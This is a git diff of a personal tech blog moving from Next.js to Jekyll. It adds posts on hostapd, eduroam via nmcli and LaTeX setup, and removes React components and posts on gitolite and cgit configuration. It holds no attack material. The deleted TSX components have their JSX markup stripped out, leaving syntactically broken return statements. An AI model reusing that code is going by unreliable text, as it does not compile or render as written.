+ssid=network_name_here +hw_mode=g +channel=1 +macaddr_acl=0 +auth_algs=1 +ignore_broadcast_ssid=1 +wpa=2 +wpa_passphrase=network_password_here +wpa_key_mgmt=WPA-PSK +rsn_pairwise=CCMP + +# raspberry pi 3b+ specific settings +ieee80211n=1 # 802.11n support +wmm_enabled=1 # QoS support +ht_capab=[HT40+][SHORT-GI-20][DSSS_CCK-40] +``` + +Very complicated stuff... + +## Philips LivingColors lamp + +[This](http://www.knutsel.org/2009/01/01/livingcolors-1st-generation/) article +describes all the research that went into reverse-engineering the lamp. + +I ordered a cc2500 wireless transmitter and receiver, but the seller cancelled +the order, and now I have to wait a while longer to get one. I'll update this +article once I've set it up though. + +## Toshiba air conditioning unit + +I created a small daughter board to connect to the raspberry pi's gpio pins, +that has an IR phototransistor and IR blaster. This is so I could record and +replay the IR messages from the remote more easily. + +I've spent a solid two days now trying to use my raspberry pi or arduino uno as +a janky logic analyzer, to capture the IR messages and get the message contents +manually, but I still haven't succeeded. I have however succeeded in frying the +IR LED by giving it +5v backwards without any protection, so that's something I +guess. I'll update this section of the article together with the Philips lamp. + + +To be continued... + diff --git a/_posts/2021-09-09-avanswifi.md b/_posts/2021-09-09-avanswifi.md new file mode 100644 index 0000000..4359bac --- /dev/null +++ b/_posts/2021-09-09-avanswifi.md @@ -0,0 +1,29 @@ +--- +title: Avans wifi setup +subtitle: How to use Avans eduroam with NetworkManager +author: Loek +date: September 9 2021 +tags: + - software +cover: /img/avanswifi.png +--- + +I wasted 2 hours trying to set up my school's WiFi, so here's a quick reference +for other students who might've tried connecting but ended up giving up. + +``` +$ nmcli connection edit type wifi +nmcli> set 802-11-wireless.ssid eduroam +nmcli> set 802-1x.eap peap +nmcli> set 802-1x.phase2-auth mschapv2 +nmcli> set 802-1x.identity +nmcli> set 802-1x.password +nmcli> set wifi-sec.key-mgmt wpa-eap +nmcli> save +nmcli> activate +``` + +Keep in mind that your username isn't your student e-mail, but the first letter +of your first name, and 7 characters from your last name, e.g. `Loek Le +Blansch -> lblansch`. + diff --git a/_posts/2022-01-24-latex.md b/_posts/2022-01-24-latex.md new file mode 100644 index 0000000..4db2ec1 --- /dev/null +++ b/_posts/2022-01-24-latex.md @@ -0,0 +1,134 @@ +--- +title: My LaTeX setup +subtitle: How to set up a simple LaTeX environment with XeTeX and latexmk +author: Loek +date: January 24 2022 +tags: + - software + - latex + - git +cover: /img/latex.png +--- + +I started using LaTeX instead of MS Word about two years ago, and I've never +regretted the decision. I switched out of frustration because Word makes it +really easy to mess up your document structure without you noticing. + +## Cool features LaTeX gets you + +- Automatically numbered figures with references that automatically update +- Really simple bibliography management with `biblatex` +- Packages that help you typeset scientific things like chemistry or physics +- Professional looking output documents with very little effort +- Automation of repetitive things with macros +- It's a plain text format, so it works well with `git` or other version + control software +- Probably more + +## Installation + +This guide is for Arch Linux and it's derivatives, but you can use +[pkgs.org](https://pkgs.org) to find the mentioned packages if they're under a +different name in your distro's package manager. + +### Required packages + +- `biber` +- `texlive-most`, containing: + - `texlive-bibtexextra` + - `texlive-core ` + - `texlive-fontsextra ` + - `texlive-formatsextra` + - `texlive-games` + - `texlive-humanities` + - `texlive-latexextra` + - `texlive-music` + - `texlive-pictures` + - `texlive-pstricks` + - `texlive-publishers` + - `texlive-science` + +tl;dr + +``` +# pacman -S texlive-most biber +``` + +### Force XeTeX compiler with latexmk + +To force latexmk to use the `xelatex` compiler instead of `pdflatex` you can +create `~/.config/latexmk/latexmkrc` with the following content: + +``` +$pdflatex = "xelatex %O %S"; +$pdf_mode = 1; +$dvi_mode = 0; +$postscript_mode = 0; +``` + + +## Hello world + +> I have recently made another repository on my profile for template files, you +> can find it [here on github](https://github.com/lonkaars/templates) or [here +> on git.pipeframe.xyz](https://git.pipeframe.xyz/lonkaars/templates). It +> includes a latex starting point with more commonly used packages, and other +> files I tend to copy from other projects + +LaTeX uses a lot of auxiliary files for compilation, so it's a good idea to +create a new directory for every document. After creating a new directory, +create a .tex file and open it with a text editor. + +```tex +\documentclass[12pt, a4paper, dutch]{article} +\usepackage[margin=1in]{geometry} +\usepackage{babel} + +\bigskipamount=7mm +\medskipamount=4mm +\parindent=0mm + +\begin{document} +Hello world! +\end{document} +``` + +This is the starting point I generally use for all my documents. It uses a4 +paper and 2.54cm margins, which is the default in Word (in Europe). Because +most of my documents are in Dutch, I add the `dutch` option to my document +class, and import the babel package for correct word breaking and built-in +latex heading translations. I also disable paragraph indenting, and modify the +`\bigskip` and `\medskip` distances. + +After creating the .tex file, you can run `latexmk ` to compile +the document. When it's done, you should have a new .pdf file in your directory +with the same name as the .tex file. + +Keep in mind that you can probably install an extension for your text editor to +have it automatically compile and refresh your document for you. If you're +using Visual Studio Code, you can use the [LaTeX +Workshop](https://marketplace.visualstudio.com/items?itemName=James-Yu.latex-workshop) +extension, and for vim I use [vimtex](https://github.com/lervag/vimtex) with +[coc-vimtex](https://github.com/neoclide/coc-vimtex) for +[coc](https://github.com/neoclide/coc.nvim). + +## Notes + +### LaTeX and git + +Because LaTeX creates a lot of temporary files, you should add the following to +your repository's `.gitignore`: + +```gitignore +*.aux +*.bbl +*.bcf +*.blg +*.fdb_latexmk +*.fls +*.log +*.out +*.run.xml +*.synctex.gz +``` + diff --git a/components/button.tsx b/components/button.tsx deleted file mode 100644 index 23201aa..0000000 --- a/components/button.tsx +++ /dev/null @@ -1,9 +0,0 @@ -export default function Button(props: { - text: string; - href?: string; - onclick?: () => void; -}) { - return props.href - ? {props.text} - : ; -} diff --git a/components/card.tsx b/components/card.tsx deleted file mode 100644 index 7a6a472..0000000 --- a/components/card.tsx +++ /dev/null @@ -1,14 +0,0 @@ -import Tags from './tag'; - -import { ArticleMeta } from '../pages/post/[id]'; - -export default function PostCard(props: { - post: ArticleMeta; -}) { - return - {props.post.cover && } -

{props.post.title}

- {props.post.subtitle} - {props.post.tags?.length != 0 && } -
; -} diff --git a/components/chapters.tsx b/components/chapters.tsx deleted file mode 100644 index 62d8285..0000000 --- a/components/chapters.tsx +++ /dev/null @@ -1,68 +0,0 @@ -import { CSSProperties, ReactNode, useState } from 'react'; - -import { NavbarItem } from '../components/navbar'; - -import KeyboardArrowDownRoundedIcon from '@material-ui/icons/KeyboardArrowDownRounded'; -import RemoveRoundedIcon from '@material-ui/icons/RemoveRounded'; - -export interface chapter { - name: string; - sectionLink?: string; - children?: Array; -} - -function NavbarChapter(props: { - level: number; - chapter: chapter; - children?: ReactNode; -}) { - var [collapsed, setCollapsed] = useState(true); - - var icon =
- {props.chapter.children?.length > 0 - ? - : } -
; - - var classes = [ - 'chapter', - `indentLevel${props.level}`, - ]; - !collapsed && classes.push('childrenCollapsed'); - - var outercss = /* { "--children-height": 0 + "px" } */ {} as CSSProperties; - - return props.chapter.children?.length > 0 && setCollapsed(!collapsed)} - href={props.chapter.sectionLink} - key={(() => Math.round(Math.random() * 1e12))()} - style={{ - marginLeft: 12 * props.level, - }} - outerStyle={outercss} - > - {props.children} - ; -} - -class Chapter { - constructor(public chapters: Array, public level: number) {} - render() { - return
- {this.chapters?.map(chapter => { - return - {new Chapter(chapter.children, this.level + 1).render()} - ; - })} -
; - } -} - -export default function Chapters(props: { - chapters: Array; -}) { - return new Chapter(props.chapters, 0).render(); -} diff --git a/components/image.tsx b/components/image.tsx deleted file mode 100644 index 5a8b2cf..0000000 --- a/components/image.tsx +++ /dev/null @@ -1,11 +0,0 @@ -export default function Image(props: { - src: string; - alt?: string; -}) { - return
- {props.alt} - {props.alt &&
-

{props.alt}

-
} -
; -} diff --git a/components/navbar.tsx b/components/navbar.tsx deleted file mode 100644 index acbec40..0000000 --- a/components/navbar.tsx +++ /dev/null @@ -1,70 +0,0 @@ -import { CSSProperties, ReactNode } from 'react'; - -import HomeRoundedIcon from '@material-ui/icons/HomeRounded'; -import MenuIcon from '@material-ui/icons/Menu'; -import SearchRoundedIcon from '@material-ui/icons/SearchRounded'; - -export function NavbarItem(props: { - icon?: ReactNode; - title: string; - href?: string; - active?: boolean; - children?: ReactNode; - classList?: Array; - style?: CSSProperties; - outerStyle?: CSSProperties; - onIconClick?: () => void; - onClick?: () => void; -}) { - var classes = props.classList || []; - classes.push('navbarItem'); - props.active && classes.push('active'); - return -
-
{props.icon}
- {props.title} -
- {props.children} -
; -} - -export default function Navbar(props: { - page?: string; -}) { - return
- } - title='Home' - href='/' - classList={['indentLevel0', 'link']} - /> - } - title='Search for posts' - href='/search' - classList={['indentLevel0', 'link']} - /> -
; -} - -export function MobileNavbar() { - return
- - - - - - -
{ - document.getElementsByClassName('mobileNav')[0].classList.toggle('open'); - document.getElementsByClassName('navAreaWrapper')[0].classList.toggle('navVisible'); - }} - > - -
-
; -} diff --git a/components/seperator.tsx b/components/seperator.tsx deleted file mode 100644 index f1843a7..0000000 --- a/components/seperator.tsx +++ /dev/null @@ -1,12 +0,0 @@ -export default function ArticleSeperator() { - return
- - - -
; -} diff --git a/components/tag.tsx b/components/tag.tsx deleted file mode 100644 index 048c405..0000000 --- a/components/tag.tsx +++ /dev/null @@ -1,28 +0,0 @@ -import { CSSProperties } from 'react'; - -export default function Tags(props: { - tags: Array; -}) { - return
- Tags: - {props.tags.map(tag => )} -
; -} - -export function Tag(props: { - name: string; -}) { - return char.charCodeAt(0)) - .reduce((a, b) => a + b) - % 360, - } as CSSProperties} - > - {props.name} - ; -} diff --git a/dprint.json b/dprint.json deleted file mode 100644 index 819abc8..0000000 --- a/dprint.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "$schema": "https://dprint.dev/schemas/v0.json", - "projectType": "openSource", - "incremental": true, - "useTabs": true, - "typescript": { - "semiColons": "always", - "quoteStyle": "preferSingle", - "importDeclaration.spaceSurroundingNamedImports": true - }, - "json": { "lineWidth": 80 }, - "includes": [ - "**/*.{ts,tsx}", - "**/*.{json}" - ], - "excludes": [ - "node_modules/**", - "**/*-lock.json", - ".next/**" - ], - "plugins": [ - "https://plugins.dprint.dev/typescript-0.44.0.wasm", - "https://plugins.dprint.dev/json-0.10.1.wasm" - ] -} diff --git a/img/avanswifi.png b/img/avanswifi.png new file mode 100644 index 0000000..b006795 Binary files /dev/null and b/img/avanswifi.png differ diff --git a/img/connectfourbeta.png b/img/connectfourbeta.png new file mode 100644 index 0000000..b4ff091 Binary files /dev/null and b/img/connectfourbeta.png differ diff --git a/img/git.png b/img/git.png new file mode 100644 index 0000000..1842eed Binary files /dev/null and b/img/git.png differ diff --git a/img/helloworld.png b/img/helloworld.png new file mode 100644 index 0000000..dd067bf Binary files /dev/null and b/img/helloworld.png differ diff --git a/img/homeauto.png b/img/homeauto.png new file mode 100644 index 0000000..4398655 Binary files /dev/null and b/img/homeauto.png differ diff --git a/img/homeauto/controller_board.jpg b/img/homeauto/controller_board.jpg new file mode 100644 index 0000000..046785a Binary files /dev/null and b/img/homeauto/controller_board.jpg differ diff --git a/img/homeauto/controller_original.jpg b/img/homeauto/controller_original.jpg new file mode 100644 index 0000000..6437506 Binary files /dev/null and b/img/homeauto/controller_original.jpg differ diff --git a/img/homeauto/esp8266.jpg b/img/homeauto/esp8266.jpg new file mode 100644 index 0000000..d1d886c Binary files /dev/null and b/img/homeauto/esp8266.jpg differ diff --git a/img/homeauto/espfit.png b/img/homeauto/espfit.png new file mode 100644 index 0000000..78ce979 Binary files /dev/null and b/img/homeauto/espfit.png differ diff --git a/img/homeauto/finishedcontroller.png b/img/homeauto/finishedcontroller.png new file mode 100644 index 0000000..babd439 Binary files /dev/null and b/img/homeauto/finishedcontroller.png differ diff --git a/img/homeauto/irboardbot.png b/img/homeauto/irboardbot.png new file mode 100644 index 0000000..2924c1b Binary files /dev/null and b/img/homeauto/irboardbot.png differ diff --git a/img/homeauto/irboardtop.png b/img/homeauto/irboardtop.png new file mode 100644 index 0000000..7cbcf2c Binary files /dev/null and b/img/homeauto/irboardtop.png differ diff --git a/img/homeauto/open_controller.jpg b/img/homeauto/open_controller.jpg new file mode 100644 index 0000000..d704967 Binary files /dev/null and b/img/homeauto/open_controller.jpg differ diff --git a/img/homeauto/opening_controller.jpg b/img/homeauto/opening_controller.jpg new file mode 100644 index 0000000..a787e32 Binary files /dev/null and b/img/homeauto/opening_controller.jpg differ diff --git a/img/homeauto/schematic.png b/img/homeauto/schematic.png new file mode 100644 index 0000000..2afcc6b Binary files /dev/null and b/img/homeauto/schematic.png differ diff --git a/img/homeauto/shittydremel.png b/img/homeauto/shittydremel.png new file mode 100644 index 0000000..830bfa1 Binary files /dev/null and b/img/homeauto/shittydremel.png differ diff --git a/img/latex.png b/img/latex.png new file mode 100644 index 0000000..9489d51 Binary files /dev/null and b/img/latex.png differ diff --git a/img/redpwn2021.png b/img/redpwn2021.png new file mode 100644 index 0000000..b730ad0 Binary files /dev/null and b/img/redpwn2021.png differ diff --git a/img/redpwn2021/cyberchef1.png b/img/redpwn2021/cyberchef1.png new file mode 100644 index 0000000..d0a3a08 Binary files /dev/null and b/img/redpwn2021/cyberchef1.png differ diff --git a/img/redpwn2021/cyberchef2.png b/img/redpwn2021/cyberchef2.png new file mode 100644 index 0000000..cb92819 Binary files /dev/null and b/img/redpwn2021/cyberchef2.png differ diff --git a/img/redpwn2021/leaderboard.png b/img/redpwn2021/leaderboard.png new file mode 100644 index 0000000..5feeea6 Binary files /dev/null and b/img/redpwn2021/leaderboard.png differ diff --git a/img/scoop.png b/img/scoop.png new file mode 100644 index 0000000..fda7b4d Binary files /dev/null and b/img/scoop.png differ diff --git a/img/software.png b/img/software.png new file mode 100644 index 0000000..c4cf93b Binary files /dev/null and b/img/software.png differ diff --git a/index.md b/index.md new file mode 100644 index 0000000..89b4b12 --- /dev/null +++ b/index.md @@ -0,0 +1,16 @@ +--- +title: Loek's excruciatingly interesting blog +--- + +Welcome to my blog page! This is where I post updates on things that I do such +as: + +- Cool open source software that I think you should use +- How to set up self-hosted applications +- Rants about Microsoft Windows +- Maybe some recipes I dunno + +The page you're looking at right now is also open-source! The code for this +page can be found on [GitHub](https://github.com/lonkaars/blog), and should +also be available on [my private git server](https://git.pipeframe.xyz). + diff --git a/makefile b/makefile new file mode 100644 index 0000000..a8578d4 --- /dev/null +++ b/makefile @@ -0,0 +1,5 @@ +build: + jekyll build --quiet + +clean: + $(RM) -r _site diff --git a/package.json b/package.json deleted file mode 100644 index f4c4d42..0000000 --- a/package.json +++ /dev/null @@ -1,29 +0,0 @@ -{ - "name": "blog", - "version": "0.1.0", - "private": true, - "scripts": { - "dev": "next dev", - "build": "next build", - "start": "next start" - }, - "dependencies": { - "@material-ui/core": "^4.11.3", - "@material-ui/icons": "^4.11.2", - "@types/react-syntax-highlighter": "^13.5.0", - "fuse.js": "^6.4.6", - "next": "10.0.9", - "react": "17.0.2", - "react-dom": "17.0.2", - "react-markdown": "^6.0.0", - "react-syntax-highlighter": "^15.4.3", - "rehype-raw": "^5.1.0", - "remark-gfm": "^1.0.0", - "use-mousetrap": "^1.0.4" - }, - "devDependencies": { - "@types/node": "^14.14.36", - "@types/react": "^17.0.3", - "typescript": "^4.2.3" - } -} diff --git a/pages/_app.tsx b/pages/_app.tsx deleted file mode 100644 index a6c53d3..0000000 --- a/pages/_app.tsx +++ /dev/null @@ -1,34 +0,0 @@ -import Head from 'next/head'; -import { useEffect, useState } from 'react'; - -import '../styles/button.css'; -import '../styles/card.css'; -import '../styles/code.css'; -import '../styles/globals.css'; -import '../styles/image.css'; -import '../styles/layout.css'; -import '../styles/navbar.css'; -import '../styles/print.css'; -import '../styles/search.css'; -import '../styles/tags.css'; -import '../styles/theme.css'; - -export default function Blog({ Component, pageProps }) { - var [dark, setDark] = useState(false); - useEffect(() => { - let colorSchemeQueryList = window.matchMedia('(prefers-color-scheme: dark)'); - setDark(!!colorSchemeQueryList.matches); - colorSchemeQueryList.addEventListener('change', e => setDark(!!e.matches)); - }, []); - - return <> - - - this.rel = 'stylesheet'} /> - - - - - - ; -} diff --git a/pages/index.tsx b/pages/index.tsx deleted file mode 100644 index 634950d..0000000 --- a/pages/index.tsx +++ /dev/null @@ -1,101 +0,0 @@ -import Head from 'next/head'; -import Button from '../components/button'; -import PostCard from '../components/card'; -import Chapters, { chapter } from '../components/chapters'; -import Navbar, { MobileNavbar, NavbarItem } from '../components/navbar'; -import Seperator from '../components/seperator'; -import { ArticleMeta, getStaticProps as getBlogPage, RenderedArticle } from './post/[id]'; -import { PostsInfo } from './search'; - -import { useEffect, useState } from 'react'; - -// edit this to change the post displayed on the home page and the pinned posts -var posts = ['index', 'software']; - -export default function Home(props: { - posts: Array<{ - props: { - content: string; - meta: ArticleMeta; - }; - }>; -}) { - var [posts, setPosts] = useState({ posts: [], valid_tags: [] }); - - useEffect(() => { - (async () => { - var posts = await fetch('/posts.json'); - var postsJson: PostsInfo = await posts.json(); - setPosts(postsJson); - })(); - }, []); - - return
- - Loek's Blog - - - - -
-
-

{props.posts[0].props.meta.title}

-
-
-
- - - { - return { - children: post.props.meta.chapters, - name: post.props.meta.title, - sectionLink: '/post/' + post.props.meta.id, - } as chapter; - }), - ]} - /> -
-
- -
- {props.posts.map((post, index) => { - return <> - {index != 0 &&

{post.props.meta.title}

} - - {index + 1 != props.posts.length && } - {index == 0 && <> -

Recent posts

-
- {posts.posts.sort((a, b) => ( - new Date(a.date).getTime() - - new Date(b.date).getTime() - )).reverse().slice(0, 4).map(post => { - return ; - })} -
- -
-
- - } - ; - })} -
-
-
; -} - -export function getStaticProps() { - var postsContent = []; - - posts.forEach(id => { - postsContent.push(getBlogPage({ params: { id } })); - }); - - var staticProps = { props: { posts: postsContent } }; - - return staticProps; -} diff --git a/pages/post/[id].tsx b/pages/post/[id].tsx deleted file mode 100644 index 35a41e6..0000000 --- a/pages/post/[id].tsx +++ /dev/null @@ -1,216 +0,0 @@ -import Head from 'next/head'; -import { readdirSync, readFileSync } from 'fs'; -import { join } from 'path'; -import { CSSProperties, ReactNode, useState } from 'react'; -import ReactMarkdown from 'react-markdown'; -import { Prism as SyntaxHighlighter } from 'react-syntax-highlighter'; -import rehypeRaw from 'rehype-raw'; -import gfm from 'remark-gfm'; - -import Chapters, { chapter } from '../../components/chapters'; -import Image from '../../components/image'; -import Navbar, { MobileNavbar } from '../../components/navbar'; -import Seperator from '../../components/seperator'; -import Tags from '../../components/tag'; - -export interface ArticleMeta { - title?: string; - subtitle?: string; - author?: string; - tags?: Array; - date?: string; - chapters?: Array; - cover?: string; - id?: string; -} - -var headingLevel = (input: string) => input?.match(/^[#]+/)[0]?.length || 0; - -var sectionID = (input: string) => - input - .replace(/[()\[\]{}!@#$%^&*<>?,./\;':"\\|=+]/g, '') - .replace(/\s/g, '-') - .toLowerCase(); - -function Heading(props: { - children?: ReactNode; - level?: number; -}) { - var HeadingTag = 'h' + props.level as keyof JSX.IntrinsicElements; - return ; -} - -function Code(props: { - className?: string; - children?: ReactNode; -}) { - var language = /language-(\w+)/.exec(props.className || ''); - if (!language) return ; - return ; -} - -export function RenderedArticle(props: { content: string; }) { - return {props.alt, - hr: Seperator, - - h1: Heading, // TODO: fix this garbage - h2: Heading, - h3: Heading, - h4: Heading, - h5: Heading, - h6: Heading, - - code: Code, - }} - />; -} - -var collapsed = false; -function toggle() { - collapsed = !collapsed; - document.documentElement.style.setProperty('--collapse-horizontal-gap', Number(collapsed).toString()); -} - -export default function Post(props: { - content: string; - meta: ArticleMeta; -}) { - return
- - {props.meta.title} - Loek's Blog - - - - -
-
-

{props.meta.title}

-

{props.meta.subtitle}

- {props.meta.tags && } -
-
-
- - -
-
- -
- -
-
-
; -} - -var parseTag = { - 'title': (val: string) => val, - 'subtitle': (val: string) => val, - 'author': (val: string) => val, - 'cover': (val: string) => val, - 'tags': (val: string) => val.split(',').map(i => i.trim()), - 'date': (val: string) => new Date(val).toDateString(), -}; - -function parseMeta(file: Array): ArticleMeta { - var meta: ArticleMeta = {}; - - file.forEach(line => { - if (!line.startsWith('[meta]: ')) return; - var tags = line.match(/\[meta\]:\s+\<(.+?)\>\s+\((.+?)\)/); - if (!tags || !tags[1] || !tags[2]) return; - if (!parseTag.hasOwnProperty(tags[1])) return; - meta[tags[1]] = parseTag[tags[1]](tags[2]); - }); - - return meta; -} - -function parseToCRecursive(headings: Array): Array { - interface WIPchapter extends chapter { - unparsedChildren?: Array; - } - var children: Array = []; - - var lowestLevel = headingLevel(headings[0]); - var currentChildIndex = -1; - for (var i in headings) { - var localLevel = headingLevel(headings[i]); - if (localLevel == lowestLevel) { - var chapterName = headings[i].match(/^[#]+\s+(.+)/)[1]; - children.push({ - name: chapterName, - sectionLink: '#' + sectionID(chapterName), - unparsedChildren: [], - }); - currentChildIndex += 1; - } else { - children[currentChildIndex].unparsedChildren.push(headings[i]); - } - } - - children.map(child => { - child.children = parseToCRecursive(child.unparsedChildren); - delete child.unparsedChildren; - - return child; - }); - - return children as Array; -} - -function parseToC(file: Array): Array { - var fileAsStr = file.join('\n'); - fileAsStr = fileAsStr.replace(/```.*?```/gs, ''); // filter out code blocks from table of contents - var fileAsArr = fileAsStr.split('\n'); - var chapterStrings = fileAsArr.filter(line => line.startsWith('#')); - return parseToCRecursive(chapterStrings); -} - -function preprocessor(fileContent: string) { - var fileAsArr = fileContent.split('\n'); - var meta = parseMeta(fileAsArr); - meta.chapters = parseToC(fileAsArr); - var result = fileAsArr.join('\n').trim(); - return { meta, result }; -} - -export function getStaticProps(props: { params: { id: string; }; }) { - var filename = join('posts/', props.params.id + '.md'); - var filecontent = readFileSync(filename).toString().trim(); - - var parsed = preprocessor(filecontent); - parsed.meta.id = props.params.id; - - return { - props: { - content: parsed.result, - meta: parsed.meta, - }, - }; -} - -export function getStaticPaths() { - var files = readdirSync('posts').filter(f => f.endsWith('.md')); - - return { - paths: files.map((f) => { - return { - params: { - id: f.substr(0, f.length - 3), - }, - }; - }), - fallback: false, - }; -} diff --git a/pages/search.tsx b/pages/search.tsx deleted file mode 100644 index 14f5e15..0000000 --- a/pages/search.tsx +++ /dev/null @@ -1,170 +0,0 @@ -import Head from 'next/head'; -import Fuse from 'fuse.js'; -import { useEffect, useState } from 'react'; - -import Navbar, { MobileNavbar } from '../components/navbar'; -import Tags from '../components/tag'; - -import SearchOutlinedIcon from '@material-ui/icons/SearchOutlined'; - -function SearchBar(props: { searchFunction: () => void; }) { - return
- props.searchFunction()} - spellCheck='false' - autoComplete='off' - /> - -
; -} - -export interface Post { - title: string; - subtitle: string; - author: string; - date: string; - id: string; - cover: string; - tags: Array; -} - -export interface PostsInfo { - valid_tags: Array; - posts: Array; -} - -function Post(props: { post: Post; }) { - return - {props.post.title} - {props.post.subtitle &&

{props.post.subtitle}

} -

- Written by {props.post.author} on {new Date(props.post.date).toLocaleString('en-us', { - month: 'long', - day: 'numeric', - })} -

- -
; -} - -function Posts(props: { posts: Array; }) { - return
- {props.posts.map(post => )} -
; -} - -function searchFilter(query: string, tags: Array) { - var output = { - query: '', - tags: [], - }; - - // remove string literals from tag matching - var queryWithoutLiterals = query.replace(/\".+?\"/g, ''); - - // find tags and remove them from the query - tags.forEach(tag => { - var index = queryWithoutLiterals.indexOf(tag); - if (index == -1) return; - - // remove tag from query - queryWithoutLiterals = queryWithoutLiterals.substr(0, index) - + queryWithoutLiterals.substr(index + tag.length); - - output.tags.push(tag); - }); - - // add back in the string literals (janky just gets pasted on end) - output.query = queryWithoutLiterals + ' ' - + (query.match(/\".+?\"/g) - ?.map(r => r.substr(1, r.length - 2)) - .join(' ') || ''); - return output; -} - -export default function SearchPage() { - var [posts, setPosts] = useState({ posts: [], valid_tags: [] }); - var [query, setQuery] = useState('-'); - var [visiblePosts, setVisiblePosts] = useState>([]); - - var fuse = new Fuse(posts.posts, { - keys: [ - 'title', - 'subtitle', - 'author', - 'date', - 'id', - 'tags', - ], - isCaseSensitive: false, - }); - - useEffect(() => { - (async () => { - var query = new URLSearchParams(window.location.search).get('q') || ''; - if (query) { - (document.getElementById('searchInput') as HTMLInputElement).value = query; - } - - var posts = await fetch('/posts.json'); - var postsJson: PostsInfo = await posts.json(); - setPosts(postsJson); - setQuery(query); - })(); - }, []); - - useEffect(() => { - var search = searchFilter(query, posts.valid_tags); - - if (search.query.length == 0) { - var results = posts.posts; - } else { - var fuseSearch = fuse.search(search.query); - var results = fuseSearch.map(res => res.item); - } - - results = results.filter(result => { - for (var i in search.tags) { - if (!result.tags.includes(search.tags[i])) { - return false; - } - } - return true; - }); - results = results.sort((a, b) => new Date(b.date).getTime() - new Date(a.date).getTime()); - setVisiblePosts(results); - }, [query]); - - return
- - Search - Loek's Blog - - - - -
-
-

Search for posts

-
-
-
- -
-
- -
- { - setTimeout(() => setQuery((document.getElementById('searchInput') as HTMLInputElement).value)); - }} - /> - -
-
-
; -} diff --git a/posts/avanswifi.md b/posts/avanswifi.md deleted file mode 100644 index 11191fd..0000000 --- a/posts/avanswifi.md +++ /dev/null @@ -1,26 +0,0 @@ -[meta]: (Avans wifi setup) -[meta]: <subtitle> (How to use Avans eduroam with NetworkManager) -[meta]: <author> (Loek) -[meta]: <date> (September 9 2021) -[meta]: <tags> (software) -[meta]: <cover> (/img/avanswifi.png) - -I wasted 2 hours trying to set up my school's WiFi, so here's a quick reference -for other students who might've tried connecting but ended up giving up. - -``` -$ nmcli connection edit type wifi -nmcli> set 802-11-wireless.ssid eduroam -nmcli> set 802-1x.eap peap -nmcli> set 802-1x.phase2-auth mschapv2 -nmcli> set 802-1x.identity <avans username> -nmcli> set 802-1x.password <avans password> -nmcli> set wifi-sec.key-mgmt wpa-eap -nmcli> save -nmcli> activate -``` - -Keep in mind that your username isn't your student e-mail, but the first letter -of your first name, and 7 characters from your last name, e.g. `Loek Le -Blansch -> lblansch`. - diff --git a/posts/connect4.md b/posts/connect4.md deleted file mode 100644 index 89f8db2..0000000 --- a/posts/connect4.md +++ /dev/null @@ -1,17 +0,0 @@ -[meta]: <title> (Connect 4 beta live!) -[meta]: <subtitle> (Announcement post) -[meta]: <author> (Loek) -[meta]: <date> (April 24 2021) -[meta]: <tags> (connect 4, beta) -[meta]: <cover> (/img/connectfourbeta.png) - -My connect four website is currently online as a public beta. You can visit the -website at <https://connect4.pipeframe.xyz>. A list of known bugs is on the -homepage, and all other issues should be submitted to -[GitHub](https://github.com/lonkaars/connect-4/issues). - -If I encounter some very interesing bug that I think deserves it's own blog -post I'll write one about it of course. I have one more week from now to worry -about the connect four website, but after that I'm going to start preparing for -my school exams. - diff --git a/posts/git.md b/posts/git.md deleted file mode 100644 index 7d3ddbe..0000000 --- a/posts/git.md +++ /dev/null @@ -1,161 +0,0 @@ -[meta]: <title> (My git setup) -[meta]: <subtitle> (How I use git on my server) -[meta]: <author> (Loek) -[meta]: <date> (April 28 2021) -[meta]: <tags> (git, server, software) -[meta]: <cover> (/img/git.png) - -## Overview - -I have two mechanisms set up for accessing my git server. I use gitolite for -ssh access and permission management. I also have cgit set up which generates -html pages for viewing your repositories and also hosts your repositories over -http, or https if you have it set up. - -## SSH Access with gitolite - -Gitolite was a pain in the ass to set up because I didn't understand umasks -before I started trying to set it up. A *umask* is like the opposite of what -you'd enter when running `chmod`. For example: if I run `touch test`, I will -now have a file with the same permissions as `chmod 644`. That looks something -like this: - -```sh -$ touch test -$ ls -l -total bla bla --rw-r--r-- 1 loek users 0 Apr 28 12:28 test -$ chmod 644 test -$ ls -l -total bla bla --rw-r--r-- 1 loek users 0 Apr 28 12:28 test -$ # notice the same permissions on the 'test' file -``` - -If I want gitolite to create repositories with default permissions so other -users can read the repositories, I have to set my umask to the opposite of 644. -Here's a quick explanation of `ls -l`'s output: - -```sh --rw-r--r-- * user group size date time filename -|└┬┘└┬┘└┬┘ -| | | └all users -| | └owner group -| └owner user -└type -``` - -Each digit in a `chmod` command sets the permission for the file owner, file -group, then everyone. That looks something like this: - -```sh -$ chmod 644 test - -decimal: 6 4 4 -binary: 110 100 100 -ls -l: - rw- r-- r-- -``` - -Then we take the opposite of this to get the umask: - -```sh -$ chmod 755 directory -R - -ls -l: d rwx r-x r-x -binary: 000 010 010 -decimal: 0 2 2 -``` - -And now my `.gitolite.rc`: - -```perl -%RC = ( - UMASK => 0022, - ROLES => { - READERS => 1, - WRITERS => 1, - }, - - ENABLE => [ - 'ssh-authkeys', - 'git-config', - 'daemon', - 'gitweb', - ], -); - -1; -``` - -## HTTP(S) Access with cgit - -Cgit is probably the easiest thing to set up. It has great built-in -documentation (`man 5 cgitrc`). Pretty much all configuration is in -`/etc/cgitrc` (css/syntax highlighting isn't in there). The only reason I'm -posting my config here is because for some reason, the order of the options in -cgit's config matters: - -```rc -# -# cgit config -# see cgitrc(5) for details - -cache-size=0 -enable-commit-graph=1 - -css=/cgit.css -logo=/cgit.png - -virtual-root=/ -remove-suffix=1 - -root-title=git :tada: - -## -## List of common mimetypes -## -mimetype.gif=image/gif -mimetype.html=text/html -mimetype.jpg=image/jpeg -mimetype.jpeg=image/jpeg -mimetype.pdf=application/pdf -mimetype.png=image/png -mimetype.svg=image/svg+xml - -# Highlight source code with python pygments-based highlighter -source-filter=/usr/lib/cgit/filters/syntax-highlighting.py - -# Format markdown, restructuredtext, manpages, text files, and html files -# through the right converters -about-filter=/usr/lib/cgit/filters/about-formatting.sh - -## -## Search for these files in the root of the default branch of repositories -## for coming up with the about page: -## -readme=:README.md -readme=:readme.md -readme=:README.rst -readme=:readme.rst -readme=:README.txt -readme=:readme.txt -readme=:README -readme=:readme -readme=:INSTALL.md -readme=:install.md -readme=:INSTALL.mkd -readme=:install.mkd -readme=:INSTALL.rst -readme=:install.rst -readme=:INSTALL.html -readme=:install.html -readme=:INSTALL.htm -readme=:install.htm -readme=:INSTALL.txt -readme=:install.txt -readme=:INSTALL -readme=:install - -scan-path=/mnt/scf/git/repositories -``` - diff --git a/posts/homeauto.md 